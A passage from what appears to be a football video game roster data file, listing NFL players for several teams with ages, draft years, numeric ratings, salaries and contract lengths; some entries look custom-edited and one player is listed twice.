Walker,31,2006,64,80,86,78,83,65,6.7,2 WR,Tre McBride,23,2015,68,39,87,86,92,79,0.5,2 WR,Kendall Wright,26,2012,90,82,96,90,90,85,2.1,4 WR,Rishard Matthews,26,2012,65,70,89,77,83,57,5,3 WR,Justin Hunter,25,2013,86,69,84,72,90,74,1.4,4 WR,Dorial Green-Beckham,23,2015,88,49,87,85,89,69,1.4,4 WR,Anthony Fasano,32,2006,79,81,88,75,71,16,2.6,2 OL,Brian Schwenke,25,2013,81,74,92,91,80,74,0.7,4 OL,Chance Warmack,24,2013,91,78,98,92,93,77,3,4 OL,Josue Matias,23,2015,64,55,90,78,73,81,0.5,2 OL,Jamon Meredith,30,2009,65,71,90,87,78,73,0.7,2 OL,Quinton Spain,24,2015,63,55,95,84,80,70,0.5,3 OL,Andy Gallik,24,2015,73,60,92,86,73,79,0.6,4 OL,Jeremiah Poutasi,21,2015,88,56,92,86,82,73,0.8,4 OL,Jack Conklin,21,2016,105,70,85,91,91,84,4,4 OL,Taylor Lewan,24,2014,92,72,89,90,91,84,2.9,4 OL,Ben Jones,26,2012,80,77,92,87,82,76,4.4,4 K,Ryan Succop,29,2009,62,80,96,90,85,66,2.4,3 K,Brett Kern,30,2008,56,84,78,90,94,72,3,5 S,Marqueston Huff,24,2014,82,65,95,76,91,65,0.7,4 S,Da'Norris Searcy,27,2011,79,76,92,80,86,75,5.9,4 S,Daimion Stafford,25,2013,66,57,92,74,87,67,0.6,4 S,Rashad Johnson,30,2009,77,78,95,71,91,82,2,1 CB,Brandon Harris,26,2013,65,67,92,77,90,59,0.7,1 CB,Brice McCain,29,2009,68,76,88,82,92,46,2.2,2 CB,Jason McCourty,28,2009,67,85,92,87,94,60,7.2,6 CB,Perrish Cox,29,2010,74,80,92,86,87,44,5,3 CB,BW Webb,26,2013,81,61,90,73,93,40,0.6,2 CB,Blidi Wreh-Wilson,26,2013,86,67,85,78,91,57,0.7,4 CB,Antwon Blake,25,2012,60,60,92,74,97,65,1.5,1 DL,Al Woods,29,2010,78,73,88,93,71,82,3.5,3 DL,DaQuan Jones,24,2014,82,64,90,85,78,86,0.7,4 DL,Jurrell Casey,26,2011,79,84,92,91,92,89,9,4 DL,Karl Klug,28,2011,74,71,84,80,88,73,1.9,2 DL,Angelo Blackson,23,2015,83,53,90,76,74,81,0.7,4 DL,Ropati Pitoitua,31,2008,58,78,80,91,76,91,2.9,3 LB,Avery Williamson,24,2014,77,75,92,89,70,74,0.6,4 LB,Deiontrez Mount,23,2015,73,46,88,79,75,42,0.6,4 LB,Curtis Grant,23,2015,64,56,76,77,62,51,0.5,1 LB,Derrick Morgan,27,2010,88,82,87,76,93,85,6.8,4 LB,Wesley Woodyard,29,2008,56,83,95,80,56,86,3.9,4 LB,David Bass,25,2013,66,65,95,67,70,58,0.5,2 LB,Sean Spence,27,2012,81,72,76,77,65,75,2.5,1 LB,Brian Orakpo,29,2009,87,82,81,85,93,79,7.8,4 END_PLAYERS Denver Broncos,DEN QB,Paxton Lynch,22,2016,90,65,85,94,88,50,2.4,4 QB,Trevor Siemian,24,2015,68,52,78,79,74,59,0.6,4 QB,Mark Sanchez,29,2009,97,74,84,86,79,47,4.5,2 RB,Kapri Bibbs,23,2014,63,50,92,84,83,62,0.5,1 RB,Juwan Thompson,24,2014,62,61,94,81,86,74,0.5,3 RB,CJ Anderson,25,2013,61,73,94,92,84,87,4.5,4 RB,Ronnie Hillman,24,2012,85,74,78,52,90,77,2,1 RB,Cyrus Gray,26,2012,71,61,90,53,88,79,0.7,1 WR,Jordan Norwood,29,2009,58,69,87,75,82,87,0.9,1 WR,Demaryius Thomas,28,2010,88,88,89,104,90,65,14,5 WR,Virgil Green,27,2011,69,75,88,74,85,79,2.8,3 WR,Emmanuel Sanders,29,2010,78,89,86,93,89,89,5,3 WR,Cody Latimer,23,2014,87,49,82,86,90,55,0.9,4 WR,Bennie Fowler,25,2014,63,58,82,71,93,63,0.5,1 WR,DeVier Posey,26,2012,86,59,85,75,91,64,0.7,1 OL,Sam Brenner,26,2013,61,61,89,87,81,73,0.6,1 OL,Russell Okung,28,2010,98,87,82,88,84,89,10.6,5 OL,Ty Sambrailo,24,2015,88,62,90,77,77,81,1,4 OL,Michael Schofield,25,2014,82,66,94,78,75,79,0.7,4 OL,Matt Paradis,26,2014,73,54,85,81,81,74,0.5,1 OL,Max Garcia,24,2015,78,64,88,89,73,77,0.7,4 OL,Donald Stephenson,27,2012,85,70,84,85,83,74,4.7,3 OL,James Ferentz,27,2014,63,62,90,79,73,81,0.5,2 OL,Robert Myers,24,2015,73,46,86,87,76,71,0.5,2 OL,Darrion Weems,27,2012,62,65,87,87,77,79,0.6,1 K,Brandon McManus,24,2013,62,72,95,107,88,85,0.5,2 K,Britton Colquitt,31,2009,57,78,92,87,89,66,3.9,3 S,Brandian Ross,26,2011,60,74,93,74,91,51,0.7,1 S,Darian Stewart,27,2010,58,80,89,81,87,90,2.1,2 S,Shiloh Keo,28,2011,75,67,90,74,88,89,0.8,1 S,TJ Ward,29,2010,83,81,90,89,90,91,5.6,4 S,Josh Bush,27,2012,65,64,88,78,90,61,0.6,2 CB,Lorenzo Doss,22,2015,78,50,92,78,92,29,0.6,4 CB,Kayvon Webster,25,2013,81,62,91,74,93,70,0.7,4 CB,Taurean Nixon,25,2015,68,42,85,71,90,47,0.5,3 CB,Aqib Talib,30,2008,86,91,87,100,92,67,9.5,6 CB,Bradley Roby,24,2014,87,71,87,94,93,72,1.7,4 DL,Jared Crick,26,2012,75,75,74,78,83,82,2,2 DL,Darius Kilgo,24,2015,73,43,88,92,69,87,0.6,4 DL,Derek Wolfe,26,2012,85,78,77,89,81,84,9.2,4 DL,Vance Walker,29,2009,67,79,91,79,84,79,2,2 DL,Antonio Smith,34,2004,65,87,96,85,87,65,2,1 DL,Phil Taylor,28,2011,90,74,84,92,82,86,0.8,1 DL,Sylvester Williams,27,2013,86,72,93,84,76,78,1.9,4 LB,Corey Nelson,24,2014,67,57,82,78,77,47,0.6,4 LB,Shane Ray,23,2015,93,61,89,74,75,62,2.3,4 LB,Brandon Marshall,26,2012,75,83,89,89,74,84,8.7,3 LB,DeMarcus Ware,33,2005,83,87,90,73,90,85,10,3 LB,Dekoda Watson,28,2010,68,69,84,76,64,67,0.8,1 LB,Todd Davis,24,2014,62,53,94,83,62,67,0.5,2 LB,Von Miller,27,2011,99,86,93,104,99,97,14.1,1 END_PLAYERS Kansas City Chiefs,KC QB,Tyler Maguirre,25,2014,77,53,79,85,82,41,0.6,4 QB,Tyree Natee,24,2013,61,52,87,93,69,20,1,2 QB,Deondre Francois,21,2015,99,99,99,84,82,40,17,4 RB,Dalvin Cook,21,2015,99,96,97,67,78,50,2.3,3 RB,Trey Millard,24,2014,68,45,84,78,84,50,0.5,1 RB,Spencer Ware,24,2013,72,55,92,85,84,47,1.8,2 RB,Knile Davis,24,2013,81,72,75,91,92,74,0.7,4 RB,Charcandrick West,25,2014,62,44,87,65,90,74,1.8,2 RB,Jamaal Charles,25,2013,91,91,87,69,92,95,9.1,2 RB,Darrin Reaves,23,2014,63,50,92,46,87,75,0.5,1 WR,Travis Rudolph,19,2015,99,99,99,92,90,84,0.6,2 WR,De'Anthony Thomas,23,2014,82,68,73,81,92,92,0.7,4 WR,Travis Kelce,22,2015,99,99,92,94,84,65,9.4,5 WR,Jeremy Maclin,28,2009,87,87,83,93,87,91,11,5 WR,Rod Streater,28,2012,62,77,90,85,88,74,0.8,1 WR,Albert Wilson,23,2014,62,69,91,80,91,85,0.5,3 WR,Chris Conley,23,2015,83,56,90,79,94,64,0.8,4 WR,Da'Ron Brown,24,2015,69,46,93,82,88,75,0.5,1 WR,Jason Avant,33,2006,65,84,92,84,79,54,1,1 OL,Eric Fisher,25,2013,101,75,91,85,85,80,5.5,4 OL,Mitch Morse,24,2015,88,62,87,92,72,78,1.2,4 OL,Laurent Duvernay-Tardif,25,2014,72,48,93,92,77,74,0.6,4 OL,Reid Fragel,25,2013,69,59,90,90,80,70,0.6,1 OL,Mitchell Schwartz,27,2012,85,78,84,85,72,89,6.6,5 OL,Zach Fulton,24,2014,72,68,92,85,82,78,0.6,4 OL,Jah Reid,27,2011,79,66,95,91,83,75,3.4,3 OL,Jordan Devey,28,2013,63,72,95,81,76,76,0.6,1 K,Dustin Colquitt,34,2005,73,82,95,89,94,65,3.8,5 K,Cairo Santos,24,2014,101,99,95,85,88,100,0.5,3 S,Daniel Sorensen,26,2014,62,45,93,65,89,66,0.5,2 S,Eric Berry,21,2015,98,105,99,75,89,84,10.8,1 S,Stevie Brown,28,2010,65,74,92,72,91,77,0.8,1 S,Ron Parker,28,2011,99,76,88,82,91,72,5,5 CB,Jamell Fleming,27,2012,80,60,81,85,88,64,0.8,1 CB,Deveron Carr,25,2013,63,53,91,73,90,68,0.5,1 CB,Steven Nelson,23,2015,83,52,94,82,90,60,0.7,4 CB,Marcus Peters,23,2015,99,99,99,86,89,90,2.4,4 CB,Phillip Gaines,25,2014,82,66,88,87,94,40,0.7,4 CB,Marcus Cooper,26,2013,66,67,93,76,88,74,0.6,4 DL,Dontari Poe,25,2012,90,78,93,97,88,90,2.8,4 DL,Jaye Howard,27,2012,80,72,87,76,86,73,5,2 DL,DeMarcus Walker,19,2015,99,97,99,92,99,85,0.7,1 DL,Jimmy Staten,25,2014,79,50,89,86,71,84,0.5,1 DL,Nick Williams,25,2013,62,68,93,83,80,72,0.5,2 DL,Allen Bailey,27,2011,79,76,92,89,84,78,6.3,4 DL,David King,26,2013,68,62,92,83,75,81,0.6,1 DL,Rakeem Nunez-Roches,22,2015,73,55,78,80,74,76,0.6,4 LB,Dezman Moses,27,2012,62,63,91,71,83,62,0.7,1 LB,Ramik Wilson,23,2015,83,58,92,84,62,70,0.7,4 LB,Tamba Hali,18,2016,99,92,95,82,95,94,7,3 LB,Josh Mauga,29,2009,58,76,75,82,72,79,2.8,3 LB,Derrick Johnson,20,2015,99,93,99,93,61,94,7,3 LB,Justin Houston,21,2015,99,95,93,92,98,88,16.8,6 LB,Dee Ford,25,2014,92,97,97,76,73,63,2,4 LB,DJ Alexander,24,2015,78,46,76,77,52,53,0.6,4 LB,Andy Mulumba,26,2013,62,62,88,72,68,63,0.6,1 LB,Frank Zombo,29,2010,58,77,85,82,74,74,1.2,3 LB,Jonathan Massaquoi,28,2012,76,72,91,73,83,66,0.7,1 END_PLAYERS Oakland Raiders,OAK QB,Matt McGloin,26,2013,61,71,92,79,72,45,2.6,1 QB,Derek Carr,25,2014,87,70,92,96,80,51,1.3,4 RB,Latavius Murray,25,2013,71,66,78,85,92,63,0.6,4 RB,Marcel Reece,30,2008,58,83,95,78,87,60,3.7,3 RB,Roy Helu Jr,27,2011,79,79,79,63,90,75,2.1,2 WR,Seth Roberts,25,2014,63,61,90,72,90,72,0.5,1 WR,Amari Cooper,22,2015,103,68,84,97,92,86,5.7,4 WR,Andre Holmes,28,2011,60,71,82,80,86,74,2,1 WR,Michael Crabtree,28,2009,87,82,85,87,84,72,8.5,4 WR,Nathan Palmer,27,2012,63,60,90,74,92,84,0.5,1 OL,Donald Penn,33,2006,54,90,89,94,83,95,6,2 OL,Rodney Hudson,26,2011,84,85,92,82,90,89,8.9,5 OL,Kelechi Osemele,26,2012,85,81,80,92,94,84,11.7,5 OL,Khalif Barnes,34,2005,65,83,85,90,72,77,1.5,1 OL,Austin Howard,29,2010,58,81,90,89,84,71,6,5 OL,Gabe Jackson,24,2014,82,75,92,91,85,91,0.7,4 OL,Menelik Watson,27,2013,86,69,92,84,78,72,1.2,4 OL,Jon Feliciano,24,2015,78,64,90,81,78,73,0.7,4 K,Marquette King,27,2012,60,75,90,94,90,82,3.3,5 K,Giorgio Tavecchio,25,2012,64,55,90,90,85,72,0.5,2 K,Sebastian Janikowski,38,2000,78,92,68,107,83,65,3.8,4 S,Reggie Nelson,32,2007,85,81,95,87,92,74,4.3,2 S,Karl Joseph,22,2016,95,65,85,89,92,85,3,4 S,Nate Allen,28,2010,83,79,81,81,89,67,3,1 S,Larry Asante,28,2010,65,64,87,68,86,79,1.5,1 S,Chris Hackett,22,2015,64,39,93,66,89,62,0.5,1 S,Brynden Trawick,26,2013,61,48,92,71,83,83,0.8,1 S,Charles Woodson,39,1997,65,94,85,99,88,55,3.2,1 S,Dewey McDonald,26,2014,63,48,93,73,89,80,0.6,2 CB,Neiko Thorpe,26,2012,61,51,92,71,90,35,2.6,1 CB,Dexter McDonald,24,2015,68,46,90,73,91,61,0.6,4 CB,David Amerson,24,2013,86,68,91,77,92,63,1,4 CB,Sean Smith,28,2009,82,88,96,105,90,71,9.5,4 CB,Keith McGill,27,2014,82,49,84,84,88,71,0.7,4 CB,DJ Hayden,25,2013,91,72,76,83,89,77,2.6,4 DL,Justin Ellis,25,2014,82,72,88,84,75,84,0.7,4 DL,Denico Autry,25,2014,62,62,88,75,80,73,0.6,1 DL,Stacy McGee,26,2013,71,69,85,85,77,80,0.6,4 DL,Dan Williams,29,2010,83,87,94,96,82,95,6.3,4 DL,Mario Edwards Jr,22,2015,88,48,83,88,79,87,1.5,4 DL,Damontre Moore,23,2013,82,65,90,65,89,64,0.7,1 LB,Colton Underwood,24,2014,64,64,88,78,82,63,0.5,1 LB,John Lotulelei,24,2013,61,62,87,83,65,64,0.6,2 LB,Neiron Ball,23,2015,78,46,67,79,71,48,0.6,4 LB,Khalil Mack,25,2014,103,78,96,105,101,89,4.7,4 LB,Ben Heeney,23,2015,78,57,85,79,64,69,0.6,4 LB,Malcolm Smith,26,2011,64,77,88,77,61,75,3.5,2 LB,Daren Bates,25,2013,61,64,88,79,54,45,0.7,1 LB,Korey Toomer,27,2012,77,57,75,73,57,41,0.6,1 LB,Bruce Irvin,26,2012,90,75,94,89,91,75,9.3,4 LB,Aldon Smith,26,2011,99,76,88,88,95,78,5.8,2 END_PLAYERS San Diego Chargers,SD QB,Philip Rivers,34,2004,92,89,98,87,90,20,20.8,4 QB,Kellen Clemens,33,2006,80,70,85,83,73,20,1.1,1 QB,Zach Mettenberger,24,2014,72,62,82,95,76,39,0.6,4 RB,Danny Woodhead,31,2008,57,84,79,42,88,83,2.8,2 RB,Melvin Gordon,23,2015,93,63,92,69,91,89,2.7,4 RB,Donald Brown,29,2009,83,78,80,81,86,52,1,1 RB,Dreamius Smith,23,2015,64,44,84,78,90,64,0.5,3 RB,Branden Oliver,25,2014,63,65,90,67,87,83,0.5,3 WR,Isaiah Burse,24,2014,63,47,93,75,86,83,0.5,1 WR,Stevie Johnson,29,2008,67,87,95,87,86,79,3.5,3 WR,Malcom Floyd,34,2004,65,88,88,88,82,40,3.9,3 WR,Javontee Herndon,24,2014,64,53,89,72,90,85,0.5,2 WR,Travis Benjamin,26,2012,80,75,82,76,93,87,6,4 WR,Dontrelle Inman,27,2011,63,67,92,79,87,72,0.6,1 WR,Antonio Gates,36,2003,51,95,77,101,78,69,5.5,2 WR,Keenan Allen,24,2013,81,78,88,103,85,64,11.3,4 WR,Torrence Allen,25,2014,63,62,91,81,91,66,0.5,1 OL,Trevor Robinson,26,2012,61,73,90,89,81,73,0.9,2 OL,Chris Watt,25,2014,82,68,87,90,86,75,0.7,4 OL,DJ Fluker,25,2013,91,76,92,91,89,72,2.9,4 OL,Kenny Wiggins,27,2011,62,73,92,84,81,72,0.6,1 OL,JD Walton,29,2010,65,80,89,78,72,82,0.7,1 OL,Joe Barksdale,28,2011,79,77,90,88,87,74,5.9,4 OL,King Dunlap,30,2008,61,84,82,95,94,82,7,4 OL,Chris Hairston,27,2011,81,74,92,87,85,81,1.5,2 OL,Orlando Franklin,28,2011,84,82,88,93,87,90,7.3,5 OL,Johnnie Troutman,28,2012,65,75,82,92,73,72,0.6,4 OL,Matt Slauson,30,2009,67,84,85,91,89,78,0.5,2 K,Kasey Redfern,24,2014,64,65,85,80,80,70,0.5,1 K,Josh Lambo,25,2015,63,44,92,88,86,74,0.5,3 S,Darrell Stuckey,26,2010,79,65,75,81,87,64,1.9,4 S,Jahleel Addae,26,2013,61,72,92,75,86,81,2.6,1 S,Dwight Lowery,30,2008,76,80,90,78,89,54,2.4,3 S,Adrian Phillips,24,2014,64,52,92,74,89,64,0.6,2 CB,Greg Ducre,24,2014,63,54,88,70,90,47,0.5,3 CB,Brandon Flowers,30,2008,81,92,90,92,92,76,9.1,4 CB,Casey Hayward,26,2012,85,80,87,95,88,45,5.1,3 CB,Richard Crawford,25,2012,72,57,90,80,89,42,0.6,1 CB,Jason Verrett,25,2014,87,72,86,85,93,65,2,4 CB,Steve Williams,25,2013,76,67,86,73,92,42,0.6,4 CB,Craig Mager,24,2015,83,45,92,79,92,62,0.7,4 CB,Cassius Vaughn,28,2010,65,73,88,76,89,35,0.7,1 DL,Ryan Carrethers,25,2014,77,59,94,94,72,89,0.6,4 DL,Darius Philon,22,2015,73,40,89,79,63,64,0.6,4 DL,Tenny Palepoi,25,2014,63,65,88,89,77,77,0.5,3 DL,Corey Liuget,26,2011,89,83,95,91,84,88,10.3,5 DL,Brandon Mebane,31,2007,75,89,88,92,81,85,4.5,3 DL,Damion Square,27,2013,62,69,87,80,81,68,0.7,1 DL,Sean Lissemore,28,2010,64,78,90,84,79,76,2,3 DL,Ben Gardner,25,2014,68,52,83,74,79,76,0.5,1 LB,Tourek Williams,25,2013,71,66,84,79,84,57,0.6,4 LB,Joe Mays,30,2008,65,81,95,87,76,77,0.9,1 LB,Denzel Perryman,22,2015,88,66,93,84,68,71,1.2,4 LB,Jeremiah Attaochu,23,2014,87,67,90,72,89,65,1.1,4 LB,Cordarro Law,27,2012,65,62,90,71,69,55,0.5,2 LB,Manti Te'o,25,2013,86,77,91,85,71,84,1.3,4 LB,Melvin Ingram,27,2012,91,73,88,78,78,68,2.1,4 LB,Joey Bosa,20,2016,105,65,85,81,92,76,6.5,4 LB,Kyle Emanuel,24,2015,78,47,92,70,84,62,0.6,4 END_PLAYERS Chicago Bears,CHI QB,David Fales,25,2014,73,54,94,83,81,42,0.6,2 QB,Brian Hoyer,30,2009,57,73,86,84,74,40,2,1 QB,Jay Cutler,33,2006,84,70,90,98,76,25,18.1,7 RB,Ka'Deem Carey,23,2014,82,65,90,84,82,72,0.7,4 RB,Jeremy Langford,24,2015,83,49,88,81,92,57,0.7,4 RB,Senorise Perry,24,2014,62,51,83,44,92,74,0.5,3 RB,Jacquizz Rodgers,26,2011,74,75,87,78,86,73,0.8,1 WR,Eddie Royal,30,2008,81,87,90,86,88,88,5,3 WR,Marquess Wilson,23,2013,66,67,92,81,87,74,0.6,4 WR,Marc Mariani,29,2010,68,78,87,72,86,85,0.8,1 WR,Deonte Thompson,27,2012,61,60,86,69,93,74,0.8,1 WR,Kevin White,22,2015,103,53,92,88,94,67,4.1,4 WR,Zach Miller,31,2009,68,66,82,72,84,70,2.8,2 WR,Alshon Jeffery,26,2012,85,82,91,93,88,66,14.6,1 OL,Martin Wallace,26,2013,63,60,90,83,80,72,0.5,1 OL,Kyle Long,27,2013,91,76,89,84,83,92,2.1,4 OL,Hroniss Grasu,24,2015,88,62,87,76,74,83,0.8,4 OL,Charles Leno,24,2014,67,66,90,79,75,78,0.6,4 OL,Ted Larsen,29,2010,68,80,92,79,83,78,1.7,1 OL,Will Montgomery,33,2006,65,88,92,92,79,87,1,1 OL,Jason Weaver,27,2013,63,61,88,88,77,74,0.5,2 OL,Bobby Massie,26,2012,80,75,90,83,83,80,6,3 OL,Nate Chandler,27,2012,61,71,88,83,83,72,0.5,1 OL,Nick Becton,26,2013,62,57,90,76,73,76,0.7,1 K,Pat O'Donnell,25,2014,72,72,85,91,87,87,0.6,4 K,Robbie Gould,34,2005,53,91,90,104,96,54,3.8,4 S,Ryan Mundy,31,2008,65,80,91,74,86,85,1.5,2 S,Antrel Rolle,33,2005,65,87,89,81,88,60,3.8,3 S,Omar Bolden,27,2012,80,61,74,74,87,51,0.8,1 S,Adrian Amos,23,2015,78,42,92,81,92,55,0.6,4 S,Chris Prosinski,29,2011,79,70,93,70,90,67,0.8,1 CB,Alan Ball,31,2007,65,82,87,87,86,58,3,1 CB,Bryce Callahan,24,2015,63,41,88,70,94,41,0.5,2 CB,Demontre Hurst,25,2013,62,64,92,79,91,35,0.6,2 CB,Tracy Porter,29,2008,81,79,76,71,92,40,4,3 CB,Kyle Fuller,24,2014,92,75,88,86,92,73,2.4,4 CB,Sherrick McManis,28,2010,73,65,76,79,89,67,1.4,2 DL,Greg Scruggs,25,2012,66,55,90,81,81,66,0.7,2 DL,Eddie Goldman,22,2015,88,60,85,81,77,85,1.4,4 DL,Mitch Unrein,29,2010,59,73,88,84,79,75,1.1,2 DL,Ego Ferguson,24,2014,87,67,89,83,76,84,1,4 DL,Will Sutton,24,2014,82,65,87,82,81,80,0.7,4 DL,Akiem Hicks,26,2012,80,76,93,82,86,83,5,2 LB,Jerrell Freeman,30,2008,60,77,92,83,79,80,4,3 LB,Lamin Barrow,25,2014,77,55,93,78,59,64,0.6,2 LB,Lamarr Houston,28,2010,83,82,87,82,83,83,7,5 LB,Sam Acho,27,2011,79,71,95,82,82,76,0.8,1 LB,Willie Young,30,2010,68,76,90,73,72,74,3,3 LB,Danny Trevathan,26,2012,70,78,94,92,75,83,6.1,4 LB,Pernell McPhee,27,2011,74,85,87,82,96,85,7.8,5 LB,Leonard Floyd,23,2016,105,65,85,80,85,80,3.9,4 LB,Cornelius Washington,26,2013,71,60,87,91,86,77,0.6,4 LB,Christian Jones,25,2014,62,69,94,76,57,60,0.5,3 END_PLAYERS Detroit Lions,DET QB,Matthew Stafford,28,2009,97,76,84,99,85,39,17.7,3 QB,Dan Orlovsky,32,2005,69,70,91,79,72,20,1.1,1 RB,George Winn,25,2013,62,54,90,86,87,66,0.6,1 RB,Zach Zenner,24,2015,63,51,88,82,86,48,0.5,3 RB,Stevan Ridley,27,2011,84,74,82,90,81,69,0.8,1 RB,Ameer Abdullah,23,2015,88,61,84,61,87,87,1,4 RB,Theo Riddick,25,2013,71,68,92,64,82,87,0.6,4 WR,Eric Ebron,23,2014,92,62,90,78,86,75,3.1,4 WR,Ryan Spadola,25,2013,63,52,92,76,88,72,0.6,2 WR,Brandon Pettigrew,31,2009,87,81,89,75,75,40,4,4 WR,Lance Moore,32,2005,65,84,86,81,82,77,1.1,1 WR,Corey Fuller,25,2013,77,65,90,78,90,79,0.6,1 WR,Andre Caldwell,31,2008,76,79,75,76,89,85,0.9,1 WR,Jeremy Kerley,27,2011,74,81,90,86,84,90,0.9,1 WR,TJ Jones,23,2014,73,51,94,80,89,81,0.6,4 WR,Golden Tate,27,2010,83,85,89,92,88,98,6.2,5 WR,Marvin Jones,26,2012,75,74,75,84,88,75,8,5 WR,Andre Roberts,28,2010,79,77,93,78,89,85,0.5,1 OL,Larry Warford,25,2013,86,79,97,89,82,94,0.8,4 OL,Michael Ola,28,2014,62,70,92,84,76,79,0.6,2 OL,Cornelius Lucas,24,2014,62,69,92,75,75,79,0.5,3 OL,Corey Robinson,24,2015,68,46,91,89,79,79,0.6,4 OL,Gabe Ikard,25,2014,62,71,92,73,73,76,0.6,2 OL,Riley Reiff,27,2012,90,77,93,87,89,87,2,4 OL,Taylor Decker,21,2016,95,65,85,85,94,81,2.7,4 OL,Laken Tomlinson,24,2015,88,64,92,87,85,78,2.1,4 OL,Travis Swanson,25,2014,82,73,94,82,85,73,0.7,4 OL,Geoff Schwartz,29,2008,62,76,79,91,86,75,0.8,1 K,Sam Martin,26,2013,76,80,92,96,95,72,0.6,4 K,Matt Prater,31,2006,55,79,85,96,89,71,3,3 S,Tavon Wilson,26,2012,85,68,95,78,87,69,1.1,2 S,James Ihedigbo,32,2007,65,80,91,77,83,85,1.6,2 S,Rafael Bush,29,2010,59,74,87,80,85,90,1.5,1 S,Johnson Bademosi,25,2012,60,69,93,77,88,65,2.3,2 S,Glover Quin,30,2009,77,84,88,91,91,73,4.7,5 S,Don Carey,29,2009,67,68,87,73,92,74,1,3 CB,Nevin Lawson,25,2014,77,61,89,76,89,56,0.6,4 CB,Darius Slay,25,2013,86,77,92,87,93,74,1.3,4 CB,Crezdon Butler,29,2010,73,63,95,76,89,42,0.8,1 CB,Josh Wilson,31,2007,65,82,91,74,92,70,1,1 CB,Alex Carter,21,2015,84,50,84,83,89,55,0.8,4 CB,Darrin Walls,28,2011,59,71,92,81,89,65,0.8,1 CB,Quandre Diggs,23,2015,73,49,92,78,86,68,0.6,4 DL,Haloti Ngata,32,2006,84,95,92,96,85,92,6,2 DL,Jermelle Cudjo,29,2010,65,67,92,81,79,73,0.7,1 DL,Khyri Thornton,26,2014,83,55,90,87,65,67,0.7,4 DL,Wallace Gilberry,31,2008,56,78,90,74,84,67,1.3,1 DL,Caraun Reid,24,2014,77,60,86,75,83,72,0.6,4 DL,Khyri Thornton,26,2014,83,55,90,87,65,67,0.7,4 DL,Devin Taylor,26,2013,76,66,91,66,82,68,0.6,4 DL,Gabe Wright,24,2015,83,46,90,89,72,64,0.7,4 DL,Ezekiel Ansah,27,2013,65,74,94,94,93,76,4.6,4 DL,Stefan Charles,28,2013,61,69,90,78,80,75,1.8,1 DL,Tyrunn Walker,26,2012,60,75,85,82,77,71,1.6,1 DL,Darryl Tapp,31,2006,65,73,89,71,64,65,1,1 LB,Jon Bostic,25,2013,86,74,95,85,63,73,1,4 LB,Josh Bynes,26,2011,60,72,84,83,71,73,0.9,2 LB,Zaviar Gooden,26,2013,82,68,84,75,61,66,0.6,1 LB,Tahir Whitehead,26,2012,75,79,96,91,77,81,4,2 LB,Khaseem Greene,27,2013,82,70,85,76,58,69,0.6,2 LB,DeAndre Levy,29,2009,77,97,95,96,80,95,8.4,4 LB,Jerry Franklin,28,2012,61,65,95,82,55,68,0.7,1 LB,Kyle Van Noy,26,2014,87,62,87,82,81,72,1.3,4 LB,Stephen Tulloch,31,2006,74,91,91,90,74,94,5.1,5 END_PLAYERS Green Bay Packers,GB QB,Aaron Rodgers,32,2005,83,95,88,105,102,90,22,5 QB,Brett Hundley,23,2015,78,47,90,91,68,70,0.6,4 RB,John Crockett,24,2015,64,38,90,71,85,78,0.5,2 RB,James Starks,30,2010,68,75,78,80,86,71,3,2 RB,Aaron Ripkowski,23,2015,73,52,88,60,82,37,0.6,4 RB,Eddie Lacy,25,2013,86,85,89,97,85,82,0.8,4 WR,Jordy Nelson,31,2008,81,96,87,106,97,79,9.8,4 WR,Jeff Janis,25,2014,67,64,95,79,93,55,0.6,4 WR,Davante Adams,23,2014,87,70,92,85,86,74,1,4 WR,Randall Cobb,25,2011,84,87,87,94,88,94,10,4 WR,Jared Abbrederis,25,2014,72,62,89,81,88,69,0.5,3 WR,Richard Rodgers,24,2014,82,68,88,79,78,62,0.7,4 WR,Ty Montgomery,23,2015,83,55,84,75,89,77,0.7,4 OL,David Bakhtiari,24,2013,81,82,89,84,73,92,0.7,4 OL,Lane Taylor,26,2013,61,61,90,89,75,73,2.1,2 OL,Josh Sitton,30,2008,71,92,84,92,88,96,6.8,5 OL,Bryan Bulaga,27,2010,88,80,77,87,83,94,6.8,5 OL,TJ Lang,28,2009,77,89,92,86,91,90,5.2,4 OL,JC Tretter,25,2013,81,65,85,89,79,79,0.6,4 OL,Corey Linsley,25,2014,77,75,91,95,89,87,0.6,4 OL,Don Barclay,27,2012,60,75,89,82,77,79,0.7,1 K,Mason Crosby,31,2007,65,76,90,93,91,72,4,4 K,Tim Masthay,29,2009,58,75,92,86,79,77,1.4,4 S,Micah Hyde,25,2013,76,73,93,82,88,45,0.6,4 S,Chris Banjo,26,2013,62,52,94,75,89,74,0.7,1 S,Morgan Burnett,27,2010,83,80,85,67,88,85,6.2,4 S,Ha Ha Clinton-Dix,23,2014,92,71,95,84,88,83,2.1,4 CB,Sam Shields,28,2010,58,82,90,88,88,50,9.8,4 CB,Damarious Randall,23,2015,88,53,90,83,91,61,2,4 CB,LaDarius Gunter,24,2015,63,42,91,75,90,70,0.5,3 CB,Quinten Rollins,23,2015,88,49,92,83,88,74,0.9,4 CB,Demetri Goodson,27,2014,72,62,75,78,89,56,0.6,4 DL,Christian Ringo,24,2015,74,48,85,80,82,67,0.5,1 DL,Letroy Guion,29,2008,71,77,88,84,82,70,3.7,3 DL,Datone Jones,25,2013,86,66,87,76,67,70,1.9,4 DL,Mike Pennel,25,2014,62,64,92,87,76,78,0.5,3 DL,Kenny Clark,20,2016,90,65,85,90,89,86,2.3,4 DL,Mike Daniels,27,2012,75,82,84,78,75,82,10.3,4 LB,Lerentee McCray,25,2013,61,66,74,73,79,58,0.8,1 LB,Jake Ryan,24,2015,78,58,78,83,75,71,0.7,4 LB,Carl Bradford,23,2014,83,69,95,79,65,72,0.5,1 LB,Sam Barrington,25,2013,66,70,94,87,79,69,0.6,4 LB,Julius Peppers,36,2002,90,94,90,80,78,85,8.7,3 LB,Clay Matthews,30,2009,82,90,88,100,95,98,13.2,5 LB,Nick Perry,26,2012,85,76,97,81,83,73,5.1,1 END_PLAYERS Minnesota Vikings,MIN QB,Teddy Bridgewater,23,2014,87,77,89,87,83,70,1.7,4 QB,Shaun Hill,36,2002,50,79,80,77,73,20,3.3,2 QB,Taylor Heinicke,23,2015,63,48,89,79,77,65,0.5,3 RB,Adrian Peterson,31,2007,95,91,87,104,100,102,14,3 RB,Matt Asiata,28,2011,60,80,95,90,77,40,0.8,1 RB,Zach Line,26,2013,61,51,92,83,83,54,1.7,1 RB,Jerick McKinnon,24,2014,82,64,85,51,93,87,0.7,4 WR,Charles Johnson,27,2013,71,71,90,83,91,69,0.5,3 WR,Jarius Wright,26,2012,80,76,94,83,91,86,3.7,4 WR,Adam Thielen,25,2013,62,71,90,80,88,64,0.6,1 WR,Stefon Diggs,22,2015,78,59,76,84,90,88,0.6,4 WR,Cordarrelle 